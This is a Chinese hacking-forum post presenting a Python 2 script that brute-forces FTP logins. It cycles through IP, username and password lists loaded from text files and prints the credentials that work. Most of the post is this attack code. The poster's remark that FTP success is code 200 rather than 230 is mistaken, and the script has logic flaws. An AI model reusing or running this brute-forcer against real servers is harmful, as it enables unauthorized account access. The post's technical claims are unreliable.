搜索
查看: 2005|回复: 0

FTP帐号密码暴力破解小工具(新手学python)

[复制链接]

282

主题

399

帖子

878

积分

vip用户

Rank: 6Rank: 6

积分
878

注册会员活跃会员热心会员

QQ
发表于 2018-6-21 22:23:12 | 显示全部楼层 |阅读模式
群内一童鞋写的ftp暴力破解小工具,主要用到了FTP模块,功能很简单,不大实用,还有很多需要改进的地方,贴上代码:


from ftplib import FTP
import time
def ConnectFtp(ftpAddress,user,password):
    for myaddress in ftpAddress:
        f=FTP(myaddress)
        for myuser in user:
            for mypass in password:
                try:
                    s=f.login(myuser,mypass)
                    if '230' in s:
                        print 'login success,ip:',myaddress,'user:',myuser,'password:',mypass
                        f.quit()
                    else:
                        print myaddress,'   user:',myuser,'password:',mypass,'  ',s
                except Exception,e:
                    #info=str(e)
                    print myaddress,'user:',myuser,'password:',mypass,'  ',e
 
def GetList(fileAddress):
    #myFileContent=[]    
    myfile=open(fileAddress,'r')
    myFileContent=myfile.readlines()
    #for  i in myFileContent:
        #print i
    return myFileContent
 
if __name__=="__main__":
    ip=GetList("ip.txt") #ip
    user=GetList("user.txt")#用户名
    password=GetList("password.txt")#密码
    ConnectFtp(ip,user,password)


主要功能是从ip.txt,user.txt,password.txt中获取帐号和密码还有ip地址,尝试登录,判断返回错误是否是230.
我没测试,目测应该有点问题,登录成功应该是200,不是230吧?主要是学学python,练练手!
有没有参加CTF比赛的,一起组队啊!
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

温馨提示
1:发帖请遵守《中华人民共和国网络安全法》,发帖内容不得维护国家的、集体的、个人的利益。
2:请勿发布恶意攻击他人的技术文章、工具、和使用教程,发现后删帖处理。
3:本站的目的在于让更多的人了解网络安全,避免受到他人的恶意攻击。
4:本站中的部分文章,可能会出现一些“技术类手段”,但这仅仅为学习演示所用,而非恶意传播技术。
5:本站中的部分文章,可能转载自互联网。如有侵权行为,联系我们删除即可。
6:学习仅是充实头脑,切勿恶意攻击个人、企业等。所造成的法律后果一切由自己承担,本站及其站长概不负责。
朕知道了
快速回复 返回顶部 返回列表